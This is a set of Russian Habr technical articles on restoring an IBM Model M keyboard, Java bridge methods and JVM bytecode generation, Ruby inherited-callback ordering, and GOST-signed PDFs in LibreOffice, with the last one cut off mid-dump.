Почему не использовать разъём микроконтроллера или не сделать несъёмный провод? Конечно, так сделать можно, что приведёт к существенной экономии, но mini-USB в Teensy или micro-USB в Pro Micro хлипковаты, а несъёмный кабель не всегда удобен и не так эстетично смотрится, а мы тут вроде как на совесть делаем, для себя, детей и внуков. Если всё же хочется сэкономить и лень возиться с распайкой Type C, то можно поставить старый добрый USB Type B, но аккуратно поставить его в Model M последнего поколения, имевшие несъёмный кабель, не получится из-за габаритов. Можно сделать внешний конвертер, но смысла в этом я не вижу, так как большая часть Model M музейной ценности не представляет, это всё-таки не [Space-cadet](https://en.wikipedia.org/wiki/Space-cadet_keyboard) какой-нибудь. Впрочем, при наличии регулярной необходимости проверки Model M и других клавиатур с интерфейсом PS/2 дополнительный внешний конвертер будет очень полезен.
6. Канцелярский нож или скребок для керамических плит, чтобы срезать пластиковые заклёпки.
7. Дремель или другой инструмент со сверлом 2 мм. Желательно ещё и шлифовальную насадку (со шкуркой или шарошку) для спиливания остатков заклёпок с пластиковой панели, так как ножом их срезать неудобно.
8. Паяльник.
9. Пружинные струбцины, четыре штуки. Можно заменить на большие канцелярские зажимы. Сильно упрощают процедуру сборки.
10. Грунт и краска по металлу, если на клавиатуру когда-либо проливали жидкость.
Пример
------
Мой пациент для этой статьи — IBM Model M с партномером 51G8572, выпущенная почти 25 лет назад, 21 мая 1993 года. Съёмный витой кабель SDL–DIN, серый логотип, надписи на клавишах Alt зелёного цвета, правый Control имеет маркировку Ctrl/Act. Внутри установлен динамик, то есть, скорее всего, эта клавиатура была предназначена для работы с [IBM RS/6000](https://en.wikipedia.org/wiki/RS/6000). Клавиатура в целом работает, но сверху на ней толстый слой грязи, а клавиши нампада какие-то ватные, срабатывают нечётко. Стоит её немного потрясти, чтобы услышать пересыпающиеся внутри корпуса оторвавшиеся головки пластиковых заклёпок. Задача: отмыть, сделать bolt mod, убедиться в работоспособности всех клавиш, спаять переходник на USB, разместить разъём USB Type C.
Начать стоит с мытья клавиш и корпуса. [Выкручиваем четыре самореза](#wrench), аккуратно приподнимаем и снимаем верхнюю часть корпуса — теперь снимать клавиши будет гораздо удобнее. Если снаружи просто грязно, то здесь просто ужас: пыль, волосы, крошки, скрепки, колония муравьёв-листорезов и крысиные трупы.
Клавиши можно снимать специальным инструментом (можно сделать его из проволоки), но в Model M гораздо быстрее будет просто подцеплять их снизу, только не отвёрткой, а чем-нибудь мягким, например, деревянной палочкой для еды. Пробел снабжён проволочным стабилизатором. Под другими длинными клавишами (шифты, Enter, Backspace и длинные нампадные) вы увидите фторопластовые вставки-стабилизаторы. Ломаться в них нечему, обычно их достаточно протереть спиртом. Отправляем клавиши в стирку, отделив верхние колпачки от собственно клавиш. В большинстве случаев достаточно тёплой воды с жидкостью для мытья посуды или стиральным порошком и нескольких часов для отмокания грязи. В тяжёлых случаях я использую ультразвуковую ванну, но иногда даже это не помогает и клавиши приходится оттирать вручную.
Отсоединяем контроллер. Открутите от пластины болт, держащий наконечник сурового заземляющего провода. Отсоединяем небольшой шлейф от дочерней платы со светодиодами.
Если у вас Model M последнего поколения или Unicomp, то внутренности будут выглядеть немного по-другому — небольшая плата контроллера вместе со светодиодами будет справа; в терминальных клавиатурах не будет светодиодов, при желании их можно будет добавить. Далее можно аккуратно приподнять «бутерброд» (сборку из металлической пластины, мембран, прокладки и верхней пластиковой панели, далее я буду называть её просто бутербродом), вытащить контроллер и отсоединить (аккуратно!) шлейфы. Перед мытьём корпуса стоит защитить «свидетельство о рождении» слоем малярного скотча, сверху дополнительно приклеив обычный.
Приступаем к разборке бутерброда. Даже если все пластиковые заклепки остались на месте и все клавиши работают, то для разборки и [bolt mod'а](#bolt_mod) всё равно есть две причины. Во-первых, делаем мы клавиатуру на совесть — для себя и будущих поколений (даже если через 20 лет появится какой-нибудь телепатический нейроинтерфейс, и клавиатуры начнут вымирать, то любители ретрокомпьютинга всё равно останутся). Если эти пластиковые штуковины чудом не отвалились, то, возможно, клавиатурой мало пользовались и стоит предотвратить эту напасть. Переходить на тёмную сторону и заклеивать места оторвавшихся заклёпок эпоксидной смолой стоит только в том случае, если вы бессовестный барыга и варвар. Эпоксидка продержится какое-то время, но [скорее всего отвалится](https://imgur.com/a/Rrl1J).
Последствия ремонта клавиатуры эпоксидной смолой. Автор — Ripster. [Источник](https://imgur.com/a/Rrl1J).
Разбирать «отремонтированную» таким способом клавиатуру будет сложнее. По той же причине сомнительной долговечности не стоит использовать вместо винтов саморезы. Во-вторых, разборка бутерброда сильно упрощает чистку пластиковой панели, весь налипший ужас можно будет смыть водой из-под крана, а не выковыривать его ватными палочками.
При наличии неработающих клавиш и/или оторванных заклёпок выбор очевиден — надо резать. Помните, что после снятия клавиш из «колодцев» теперь торчат ничем не защищённые пружины, так что бутерброд нужно положить на соответствующую подставку. Подойдёт обувная коробка. Срезаем оставшиеся заклёпки ножом, скребком для плиты или другим подходящим инструментом. Соблюдайте технику безопасности, пластик достаточно прочный, режьте от себя. Одна–две заклёпки могут оказаться под бумажной наклейкой. Перед снятием пластины края всех заклёпок должны быть полностью срезаны, пластина должна выниматься без особенных усилий. Тянуть пластиковую панель за края или углы, а тем более использовать отвёртку ни в коем случае нельзя — треснет. Снимаем пластину и три мембранных слоя. Если на клавиатуру проливали жидкость, то вы сразу это заметите по тёмным разводам на контактах мембраны и ржавчине на металлической пластине. В каких-то случаях поможет протирка изопропилом, в случае сильного окисления придётся менять мембрану. Под мембранами будет тонкий резиновый коврик, обращайтесь с ним аккуратно, чтобы не порвать. Наконец, в самом низу останется лишь пластиковая панель с пружинами/молоточками. Их можно просто аккуратно вытряхнуть или перенести их на полоски малярного скотча, чтобы потом не тратить много времени на установку. Пружины нужно внимательно осмотреть на предмет ржавчины. Помните про хрупкость пластиковой панели! Она снабжена канавками, «линиями сгиба», но может треснуть и поперёк при неосторожном обращении.
В моём экземпляре трещина в пластиковой панели и так образовалась — от левого торца и по «линии сгиба». Сначала оторвалась пара заклёпок в районе нампада и одна—две клавиши стали «ватными». Пользователь начал нажимать на клавиши сильнее, отвалилось ещё несколько заклёпок и так далее, пока по клавиатуре не пришлось уже долбить, чтобы добиться срабатывания клавиш. С bolt mod'ом подобная трещина не опасна, но торец стоит заклеить. На панели по-прежнему остались штырьки заклёпок. Их можно сточить полностью, оставив несколько штук для удобства точной укладки мембраны, но нужно по крайней мере срезать утолщения сверху.
Устанавливаем металлическую пластину обратно, зажимаем её пружинными струбцинами. Перед сверлением желательно наметить отверстия. В Model M первого поколения для вертикальных клавиш применялись проволочные стабилизаторы, которым могут помешать головки соответствующих винтов, придётся искать винты с плоской головкой.
Проволочный стабилизатор вертикальных 2U-клавиш в ранних IBM Model M. Автор — Sandy (Deskthority wiki, publick domain). [Источник](https://deskthority.net/wiki/File:IBM_Model_M_--_late_1G_numpad_stabiliser.jpg).
Я использовал алмазную конусную насадку, но можно это сделать и паяльником с тонким жалом. Самый нижний ряд сверлить не нужно — этот край панели прижмётся выступами на дне корпуса. После зачистки и сверления будет куча наэлектризованной пластиковой стружки и опилок. Не пожалейте времени, чтобы хорошо промыть и высушить панель (помните, что трясти её нельзя!).
Собираем бутерброд обратно. Панель на подставке, вставки стабилизаторов, молоточки (убедитесь, что все лежат ровно), не забываем, что не во все посадочные места устанавливаются молоточки. Затем остаются коврик, мембраны (их невозможно положить не той стороной, главное — положить ровно) и пластина сверху.
Зажимаем по краям четырьмя струбцинами или канцелярскими зажимами, переворачиваем, вставляем винты, крутим гайки. Сильно затягивать не нужно, винты должны выступать на 1–2 нитки резьбы. Ставим обратно клавиши и проверяем их работу. Если что-то не щёлкает как надо, то нужно попробовать немного ослабить затяжку винтов вокруг проблеммной клавиши.
С механикой закончили, займёмся электроникой. Разъём SDL на контроллере будет мешать, нужно от него избавиться. Отпаять его, не отслоив дорожки, сложно, во всяком случае для меня, поэтому я просто аккуратно разломал кусачками пластиковый корпус разъёма и выпаял контакты по одному. Цоколёвка интерфейса PS/2 на освободившихся отверстиях выглядит так:
В качестве конвертера я использовал Teensy 2.0 (китайский клон) с [прошивкой Soarer's converter](https://deskthority.net/workshop-f7/xt-at-ps2-terminal-to-usb-converter-with-nkro-t2510.html). Добрый человек под ником Soarer разместил пять лет назад на Geekhack и Deskthority прошивки, позволяющие подключить клавиатуры XT, AT, PS/2 и терминальные IBM по USB со следующим функционалом:
* Переназначение клавиш, слои и макросы.
* Обновляемая конфигурация. В отличие от TMK/QMK, где конфигурация является частью прошивки, и при любом изменении приходится компилировать прошивку и перешивать контроллер, SC позволяет подгрузить небольшой конфигурационный файл в EEPROM.
* Поддержка NKRO (если его поддерживает исходная клавиатура).
* Пять дополнительно подключаемых к микроконтроллеру клавиш — педаль или клавиши, добавленные при модификации клавиатуры.
* Подключение светодиодов (NumLock, CapsLock, ScrollLock). Полезно для терминальных клавиатур IBM и ранних Model M для IBM PC XT, где своих светодиодов нет.
К сожалению, Soarer пропал с клавиатурных форумов в 2014 году, о судьбе его ничего не известно, исходных кодов он не оставил, но были попытки дизассемблирования. Существует примерно аналогичный, за исключением обновления конфигурации [проект TMK](https://github.com/tmk/tmk_keyboard/) от не менее легендарного Hasu.
Итак, заливаем Soarer\_at2usb\_v1.12\_atmega32u4.hex в Teensy 2.0 при помощи Teensy loader (как я уже упоминал, можно использовать Arduino Pro Micro, но там появляется возня с драйверами и утилитами) и припаиваем его к контроллеру клавиатуры: Data к PD0, Clock к PD1 и землю с питанием. Можно сразу подключать к компьютеру и проверить все клавиши через [Switch Hitter](https://elitekeyboards.com/switchhitter.php).
Остаётся лишь всё красиво оформить и поместить клавиатуру в корпус. Я выбрал прочный и современный USB Type C, но, как упоминалось выше, можно сэкономить, заменив его на Type B или вообще сделать кабель несъёмным. Цоколёвка разъёма Type C выглядит так:
Для наших целей нужны питание (A4, B9, B4, A9), земля (A1, A12, B1, B12 и корпус разъёма), пара для передачи данных — D+ (A6, B6) и D− (A7, B7). CC1 и CC2 нужно подключить к земле через резисторы сопротивлением 5,1 кОм. Подключаем к огрызку идущего в комплекте с Teensy USB-кабеля: чёрный — земля, красный — питание, зелёный — D+, белый — D−. Немного пластика, суперклея, изоленты — и разъём готов. Закрепим стяжкой и клавиатура готова.
Воспользуемся функционалом конвертера. Я взял за основу layer example.sc, простую конфигурацию, назначающую CapsLock в качестве модификатора FN1 и FN1+I/J/K/L в качестве стрелок. Можно добавить ещё несколько клавиш (PageUp/PageDown рядом с этиими дополнительными клавишами, Win-клавиша, CapsLock и несколько мультимедийных на F5–F11):
Стоит лишь сказать `scwr конфигурация.sc` — она скомпилируется в бинарную и зальётся в клавиатуру.
Вот и всё, удачного всем сверления и клацанья. Огромная благодарность клавиатурным гикам Soarer, Hasu и Ripster за их неоценимый вклад в клавиатуроведение. | https://habr.com/ru/post/409651/ | null | ru | null |
# Перегрузка, которая запрещена, или bridge-методы в Java
В большинстве моих собеседований на технические позиции есть задача, в которой кандидату необходимо реализовать 2 очень похожих интерфейса в одном классе:
*Реализуйте оба интерфейса одним классом, если это возможно. Объясните, почему это возможно или нет.*
```
interface WithPrimitiveInt {
void m(int i);
}
interface WithInteger {
void m(Integer i);
}
```
*От переводчика:* Эта статья не призывает вас задавать такие же вопросы на интервью. Но если вы хотите быть во всеоружии, когда этот вопрос зададут вам, то добро пожаловать под кат.
Иногда соискатели, которые не очень уверены в ответе, предпочитают решить вместо этой задачу со следующим условием (позже я в любом случае прошу ее решить):
```
interface S {
String m(int i);
}
interface V {
void m(int i);
}
```
И правда, вторая задача кажется намного проще, и большинство кандидатов отвечают, что включение обоих методов в один и тот же класс невозможно, потому что сигнатуры `S.m(int)` и `V.m(int)` одинаковы, в то время как тип возвращаемого значения — разный. И это абсолютно верно.
Однако иногда я задаю другой вопрос, связанный с этой темой:
*Как вы думаете, есть ли смысл в том, чтобы допускать реализацию методов с одинаковой сигнатурой, но разными типами в одном классе? Например, в неком гипотетическом языке на базе JVM или хотя бы на уровне JVM?*
Это вопрос, ответ на который неоднозначен. Но, не смотря на то, что я не ожидаю ответа на него, правильный ответ существует. Ответить на него смог бы человек, который часто имеет дело с API рефлексии, манипулирует байт-кодом или знаком со спецификацией JVM.
Сигнатура метода Java и дескриптор метода JVM
---------------------------------------------
Сигнатура метода Java (т.е. название метода и типы параметров) применяется только Java компилятором во время компиляции. В свою очередь, JVM разделяет методы в классе с помощью [неквалифицированного имени метода](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.2.2) (то есть просто имени метода) и [дескриптора метода](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.3.3), то есть перечня параметров дескриптора и одного return-дескриптора.
Например, если мы хотим вызвать метод `String m(int i)` непосредственно на классе `foo.Bar`, необходим следующий байт-код:
```
INVOKEVIRTUAL foo/Bar.m (I)Ljava/lang/String;
```
а для void `m(int i)` следующий:
```
INVOKEVIRTUAL foo/Bar.m (I)V
```
Таким образом, JVM вполне комфортно себя чувствует с `String m(int i)` и `void m(int i)` в одном классе. Все, что нужно, — это сгенерировать соответствующий байт-код.
Кунг-фу с байт-кодом
--------------------
У нас есть интерфейсы S и V, теперь мы создадим класс SV, который включает оба интерфейса. В Java, если бы это было разрешено, это должно выглядеть так:
```
public class SV implements S, V {
public void m(int i) {
System.out.println("void m(int i)");
}
public String m(int i) {
System.out.println("String m(int i)");
return null;
}
}
```
Чтобы сгенерировать байт-код, мы используем [Objectweb ASM library](http://asm.ow2.org/index.html), достаточно низкоуровневую библиотеку, чтобы получить представление о JVM байт-коде.
[Полный исходный код](http://github.com/edio/java-bridge-methods) залит на GitHub, здесь же я приведу и поясню только наиболее важные фрагменты.
```
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
// package edio.java.experiments
// public class SV implements S, V
cw.visit(V1_7, ACC_PUBLIC, "edio/java/experiments/SV", null, "java/lang/Object", new String[]{
"edio/java/experiments/S",
"edio/java/experiments/V"
});
// constructor
MethodVisitor constructor = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null);
constructor.visitCode();
constructor.visitVarInsn(Opcodes.ALOAD, 0);
constructor.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "", "()V");
constructor.visitInsn(Opcodes.RETURN);
constructor.visitMaxs(1, 1);
constructor.visitEnd();
// public String m(int i)
MethodVisitor mString = cw.visitMethod(ACC\_PUBLIC, "m", "(I)Ljava/lang/String;", null, null);
mString.visitCode();
mString.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mString.visitLdcInsn("String");
mString.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V");
mString.visitInsn(Opcodes.ACONST\_NULL);
mString.visitInsn(Opcodes.ARETURN);
mString.visitMaxs(2, 2);
mString.visitEnd();
// public void m(int i)
MethodVisitor mVoid = cw.visitMethod(ACC\_PUBLIC, "m", "(I)V", null, null);
mVoid.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mVoid.visitLdcInsn("void");
mVoid.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V");
mVoid.visitInsn(Opcodes.RETURN);
mVoid.visitMaxs(2, 2);
mVoid.visitEnd();
cw.visitEnd();
```
Начнем с создания `ClassWriter` для генерации байт-кода.
Теперь мы объявим класс, в который входят интерфейсы S и V.
Хотя наш референсный псевдо-java код для SV не имеет конструкторов, нам все равно нужно генерировать код для него. Если мы не описываем конструкторы на Java, компилятор неявно генерирует пустой конструктор.
В теле методов мы начнем с получения поля `System.out` с типом `java.io.PrintStream` и добавления его в стек операндов. Затем загружаем константу (`String` или `void`) в стек и вызываем команду `println` в полученной переменной `out` со строковой константой в качестве аргумента.
Наконец, для `String m(int i)` добавляем в стек константу ссылочного типа со значением `null` и используем оператор `return` соответствующего типа, то есть `ARETURN`, чтобы вернуть значение в инициатор вызова метода. Для `void m(int i)` необходимо использовать нетипизированный `RETURN` только для того, чтобы вернуться к инициатору вызова метода без возврата значения. Чтобы убедиться в правильности байт-кода (что я делаю постоянно, многократно исправляя ошибки), мы записываем сгенерированный класс на диск.
```
Files.write(new File("/tmp/SV.class").toPath(), cw.toByteArray());
```
и используем `jad` (декомпилятор Java), чтобы перевести байт-код обратно в исходный код на Java:
```
$ jad -p /tmp/SV.class
The class file version is 51.0 (only 45.3, 46.0 and 47.0 are supported)
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
package edio.java.experiments;
import java.io.PrintStream;
// Referenced classes of package edio.java.experiments:
// S, V
public class SV
implements S, V
{
public SV()
{
}
public String m(int i)
{
System.out.println("String");
return null;
}
public void m(int i)
{
System.out.println("void");
}
}
```
По-моему, неплохо.
Использование сгенерированного класса
-------------------------------------
Успешная декомпиляция `jad` по сути ничего нам не гарантирует. Утилита `jad` оповещает только об основных проблемах в байт-коде, от таких, как размер фрейма, до несоответствия локальных переменных или отсутствующего оператора возврата.
Чтобы использовать сгенерированный класс во время исполнения, нам необходимо каким-то образом загрузить его в JVM и затем создать его экземпляр.
Давайте реализуем собственный `AsmClassLoader`. Это просто удобная обёртка для `ClassLoader.defineClass`:
```
public class AsmClassLoader extends ClassLoader {
public Class defineAsmClass(String name, ClassWriter classWriter) {
byte[] bytes = classWriter.toByteArray();
return defineClass(name, bytes, 0, bytes.length);
}
}
```
Теперь используем этот class loader и создадим экземпляр класса:
```
ClassWriter cw = SVGenerator.generateClass();
AsmClassLoader classLoader = new AsmClassLoader();
Class generatedClazz = classLoader.defineAsmClass(SVGenerator.SV_FQCN, cw);
Object o = generatedClazz.newInstance();
```
Поскольку наш класс сгенерирован во время исполнения, мы не можем использовать его в исходном коде. Зато мы можем привести его тип к реализованным интерфейсам. А вызов без рефлексии можно осуществить так:
```
((S)o).m(1);
((V)o).m(1);
```
При выполнении кода мы получим следующий вывод:
```
String
void
```
Кому-то такой вывод покажется неожиданным: мы обращаемся к одному и тому же (с точки зрения Java) методу в классе, но результаты различаются в зависимости от интерфейса, к которому мы привели объект. Сногсшибательно, правда?
Все станет понятно, если принять во внимание лежащий в основе байт-код. Для нашего вызова компилятор генерирует инструкцию INVOKEINTERFACE, и дескриптор метода исходит не из класса, а из интерфейса.
Таким образом, при первом вызове мы получим:
```
INVOKEINTERFACE edio/java/experiments/S.m (I)Ljava/lang/String;
```
а при втором:
```
INVOKEINTERFACE edio/java/experiments/V.m (I)V
```
Объект, на котором мы выполнили вызов, можно получить из стека. Это и есть могущество полиморфизма, присущее Java.
Имя ему — bridge-метод
----------------------
Кто-то спросит: "Так в чем смысл всего этого? Пригодится ли это когда-нибудь?"
Смысл в том, что мы используем всё то же самое (неявно) при написании обычного Java кода. Например, ковариантные возвращаемые типы, дженерики и доступ к private-полям из внутренних классов реализуются с помощью такой же *магии* байт-кода.
Взгляните на такой интерфейс:
```
public interface ZeroProvider {
Number getZero();
}
```
и его реализацию с возвратом ковариантного типа:
```
public class IntegerZero implements ZeroProvider {
public Integer getZero() {
return 0;
}
}
```
Теперь подумаем над этим кодом:
```
IntegerZero iz = new IntegerZero();
iz.getZero();
ZeroProvider zp = iz;
zp.getZero();
```
Для `iz.getZero()` компилятор вызова будет генерировать `INVOKEVIRTUAL` с методом дескриптора `()Ljava/lang/Integer;`, в то время как для `zp.getZero()` он сгенерирует INVOKEINTERFACE с дескриптором метода `()Ljava/lang/Number;`. Мы уже знаем, что JVM выполняет диспетчеризацию вызова объекта с помощью имени и дескриптора метода. Так как дескрипторы разные, эти 2 вызова не могут направляться в один и тот же метод в экземпляре `IntegerZero`.
По сути, компилятор генерирует дополнительный метод, выполняющий роль моста между реальным методом, указанным в классе, и методом, используемым при вызове через интерфейс. Отсюда название — bridge-метод. Если бы в Java такое было возможно, конечный код выглядел бы так:
```
public class IntegerZero implements ZeroProvider {
public Integer getZero() {
return 0;
}
// This is a synthetic bridge method, which is present only in bytecode.
// Java compiler wouldn't permit it.
public Number getZero() {
return this.getZero();
}
}
```
Послесловие
-----------
Язык программирования Java и виртуальная машина Java — это не одно и то же: хотя они имеют в названии общее слово и Java является основным языком для JVM, их возможности и ограничения далеко не всегда одинаковы. Знание JVM помогает лучше понимать Java или любой другой основанный на JVM язык, но, с другой стороны, знание Java и его истории помогают понять определенные решения в дизайне JVM.
### От переводчика
Вопросы совместимости рано или поздно начинают волновать любого разработчика. В исходной статье затронут важный вопрос о неявном поведении компилятора Java и влиянии его магии на приложения, который нас как разработчиков фреймворка CUBA Platform волнует довольно сильно, — это напрямую влияет на совместимость библиотек. Совсем недавно мы рассказывали о совместимости в реальных приложениях на JUG в Екатеринбурге в докладе "API на переправе не меняют — как построить стабильный API", видео встречи можно найти по ссылке. | https://habr.com/ru/post/426419/ | null | ru | null |
# Порядок выполнения callback-ов при наследовании
Ruby — очень интересный язык. Одной из его особенностей является возможность выполнения заданных функций при добавлении модуля в класс. Стандартный пример выглядит следующим образом:
```
module MyModule
module InstanceMethods
end
module ClassMethods
end
def self.included(base)
base.include(InstanceMethods)
base.extend(ClassMethods)
end
end
```
Здесь создаются два под-модуля в рамках текущего модуля для разделения методов инстанса и методов класса. При «примешивании» модуля MyModule в класс выполняется функция included, которая добавляет необходимые методы класса и методы объектов класса.
Не так давно я открыл для себя еще одну подобную функцию, которая выполняется при наследовании
```
class Ancestor
def self.inherited(successor)
end
end
class Successor < Ancestor
end
```
На мой взгляд, в некоторых ситуациях эта конструкция может быть очень удобна, к примеру в Ruby on Rails версии 3.0 и старше существует модуль InheritableAttributes, который позволяет копировать аттрибуты класса при наследовании. Вот простой пример использования данного модуля:
```
require "active_support/core_ext/class/inheritable_attributes"
class Base
class_inheritable_accessor :color
end
Base.color = "red"
class Ancestor < Base
end
Ancestor.color # => "red"
Ancestor.color = "green"
Base.color # => "red"
```
Удобно? Вполне. Правда в последних версиях rails модуль inheritable\_attributes был признан устаревшим и был заменен на class\_attribute.
Как только вводится понятие callback-а, сразу же возникает вопрос о том, когда этот callback будет выполняться: до eval-а тела класса или после. Проверим:
```
class Base
def self.inherited(m)
puts "Hello from inherited callback"
end
end
class NamedClass < Base
puts "Hello from class body"
end
# Output:
# Hello from inherited callback
# Hello from class body
```
Т.е. callback выполняется до eval-а тела класса. И все бы хорошо, если не одно «но»: в ruby вместе с именованными классами существуют еще и анонимные, которые объявляются так:
```
anonymous_class = Class.new(Base) do
# body
end
```
Портируя известный gem [active\_attr](https://github.com/cgriego/active_attr) я столкнулся с такой особенностью: все spec-и при запуске в ruby ветки 1.9 проходят нормально, но стоит лишь попросить rvm использовать старый добрый ruby 1.8.7 (или ree) — так половина тестов начинает отваливаться без видимых на то причин (отмечу, что до моих коммитов, поддержки rails 3.0 не было и в связи с этим все spec-и отрабатывали корректно как на ruby ветки 1.9, так и на ruby ветки 1.8)
Как оказалось, причина в следующей особенности работы ruby 1.8.7:
```
class Base
def self.inherited(m)
puts "--> Hello from inherited callback"
end
end
puts "declare named class"
class NamedClass < Base
puts "--> Hello from named class"
end
puts
puts "declare anonymous class"
Class.new(Base) do
puts "--> Hello from anonymous class"
end
# Output for ruby 1.9.3
# declare named class
# --> Hello from inherited callback
# --> Hello from named class
#
# declare anonymous class
# --> Hello from inherited callback
# --> Hello from anonymous class
# Output for ruby 1.8.7
# declare named class
# --> Hello from inherited callback
# --> Hello from named class
#
# declare anonymous class
# --> Hello from anonymous class
# --> Hello from inherited callback
```
В ruby 1.8.7 для анонимного класса сначала eval-ится тело, а уже потом выполняется callback inherited. Таким образом, модуль InheritableAttributes, ожидающий пустого класса сталкивается с наличием некоторых методов и отрабатывает неправильно.
Как можно решить данную проблему?
1. перейти на ruby 1.9
2. не использовать функционал, опирающийся на callback inherited (если данный функционал не используется явно, а только в рамках rails — то достаточно перейти на rails 3.1)
3. не использовать анонимные классы
4. сначала создать пустой анонимный класс, а потом добавить в него нужное содержимое с помощью class\_eval:
```
c = class.new(Base)
c.class_eval do
# body
end
```
В заключение, хочу отметить, что описываемый баг — достаточно специфичен и встретится с ним далеко не каждый, но с другой стороны, зная эту особенность ruby 1.8.7 и все же нарвавшись на описываемую ситуацию можно сэкономить пару часов на дебаге. | https://habr.com/ru/post/141124/ | null | ru | null |
# Электронная подпись ГОСТ Р 34.10 документов формата PDF в офисном пакете LibreOffice
 Пришла пора, несмотря на все [пожары](https://habr.com/post/422539/), исполнить свой гражданский долг – заплатить налоги. Платить налоги мы будем через портал [Госуслуги](https://www.gosuslugi.ru/). В личный кабинет портала Госуслуг будем входить [с помощью](https://habr.com/post/334162/) электронной подписи ([терминология](https://esia.gosuslugi.ru/idp/rlogin?cc=bp) портала Госуслуг ), т.е. имея на руках сертификат, полученный в аккредитованном удостоверяющем центре (УЦ), и закрытый ключ. И то и другое я храню на [токене PKCS#11](https://habr.com/post/316328/) с поддержкой российской криптографии:
И вот, выполнив свой гражданский долг, я решил еще раз проверить работу электронной подписи в офисном пакете [libreoffice](https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwj4kPyNm7HeAhUE_SoKHU-iA7AQFjAAegQIAxAC&url=https%3A%2F%2Fru.libreoffice.org%2F&usg=AOvVaw3gUVvWjAPjNT6ugqxNXFbE).
Почему я решил это сделать? Для доступа к порталу Госуслуг я использую ОС Linux и браузер Redfox, который представляет собой доработанный с учетом поддержки российской криптографии браузер Mozilla Firefox. Как известно, офисный пакет libreoffice в качестве хранилища сертификатов также использует хранилище NSS.
Браузер Redfox-52 был установлен в папку /usr/local/lib64/firefox-52.
Для подключения библиотек пакета NSS (Network Security Services) с поддержкой ГОСТ-алгоритмов устанавливаем значение переменной LD\_LIBRARY\_PATH следующим образом:
```
$export LD_LIBRARY_PATH=/usr/local/lib64/firefox-52:$LD_LIBRARY_PATH
$
```
В качестве хранилища сертификатов в libreoffice как правило используется хранилище сертификатов из браузера Firefox, почтового клиента Thunderbird или интегрированного пакета Seamonkey. Ничто не мешает использовать хранилище сертификатов браузеров GoogleChrome/Cromium или создать свое независмое хранилище (Сервис->Параметры->Безопасность->Сертификат):
После того как выбрано хранилище, подключены библиотеки, запускаем libreoffice, создаем файл формата odt и пытаемся его подписать (Файл->Цифровые подписи->Цифровые подписи).
Сертификаты в хранилище Firefox/NSS успешно отображаются и проверяются:
Однако, подпись после выбора сертификата и нажатия кнопки «ОК» не формируется:
Похоже libreoffice не хочет понимать российские криптоалгоритмы, несмотря на то, что используется NSS из браузера Redfox, который понимает ГОСТ-овые алгоритмы, что подтверждается успешной проверкой сертификатов.
Делаем вторую попытку: на этот раз попытаемся подписать PDF-файл. Для этого подготовленный документ экспортируем в PDF-формат. Для подписания PDF-файла его, естественно, необходимо загрузить (Файл->Цифровые подписи->Подписать PDF). После его загрузки пытаемся его подписать (Файл->Цифровые подписи->Цифровые подписи) (см.выше, выбираем сертификат, прописываем, например, цель подписания документа):
И подпись формируется!!! Мы видим, что подпись, сформирования на базе сертификата «Test 12 512» с ключом ГОСТ Р 34.10-2012 512 бит. Подпись верна.
Выходим из libreoffice. Снова запускаем libreoffice, загружаем подписанный pdf-файл, проверяем подписи. Все ОК. Просматривает сертификаты подписантов. Все ОК. Чудеса! Подпись PDF-файлов работает. Ставим вторую, третью подпись… Все работает. Но что-то не дает покоя. Делаем дополнительную проверку.
Открываем подписанный PDF-файл (я использовал встроенный редактор от mc – Midnight Commander — консольный файловый менеджер для Linux). Находим электронную подпись (/Type/Sig/ ):
Как видим, подпись хранится в символьном шестнадцатеричном виде. Копируем ее и сохраняем в файле. Для конвертации файла в бинарный вид (DER-кодировка) воспользуемся утилитой xxd:
```
$xxd –p –r <файл с подписью из PDF> > <файл>.der
$
```
Полученный файл содержит отсоединенную подпись формата PKCS#7 в DER-кодировке. Теперь это подпись можно просмотреть любым asn1-prase-ом, например, утилитой openssl. Но поскольку мы говорим о пакете NSS, то воспользуемся утилитой derdump или [утилитой pp](https://habr.com/post/406037/):
```
$pp –t p7 –u –i pkcs7_detach.p7
PKCS #7 Content Info:
PKCS #7 Signed Data:
Version: 1 (0x1)
Digest Algorithm List:
Digest Algorithm (1): SHA-256
Content Information:
PKCS #7 Data:
Certificate List:
Certificate (1):
Data:
Version: 3 (0x2)
Serial Number: 4107 (0x100b)
Signature Algorithm: GOST R 34.10-2012 signature with GOST R 34.11-2012-512
Issuer: "E=ca\_12\_512@lissi.ru,OGRN=1234567890123,INN=1234
56789012,CN=УЦ 12\_512,O=УЦ 12\_512,L=GnuPG ГОСТ
-2012-512,ST=Московская область,C=RU"
Validity:
Not Before: Sat Sep 08 07:17:56 2018
Not After : Tue Sep 12 07:17:56 2023
Subject: "C=RU,ST=Московская область,CN=Ф
И О,SN=Фам,givenName=И О,E=xx@xx.ru,L=Город
,STREET=Улица,INN=123456789012,SNILS=12345678901"
Subject Public Key Info:
Public Key Algorithm: GOST R 34.10-2012 512 Public Key:
. . .
Digest Encryption Algorithm: GOST R 34.10-2012 Key 512
Encrypted Digest:
34:9d:6f:37:e6:60:00:ed:fe:ef:f7:96:db:52:66:e1:
47:4c:5d:da:7f:9f:f3:20:50:ac:73:6c:97:db:f9:8d:
43:9b:8f:40:61:99:d3:4b:17:08:b8:34:e3:1e:92:76:
b1:0c:dd:37:01:1e:2a:30:45:68:06:af:3d:33:5e:2f:
71:c8:17:b3:a9:8a:6b:2f:78:9e:e4:b2:00:59:6f:5a:
a0:c5:9e:be:1e:4b:ca:d5:64:25:50:1a:6f:f9:55:b8:
3a:cf:37:a0:04:eb:89:b4:6c:39:77:27:92:de:61:c7:
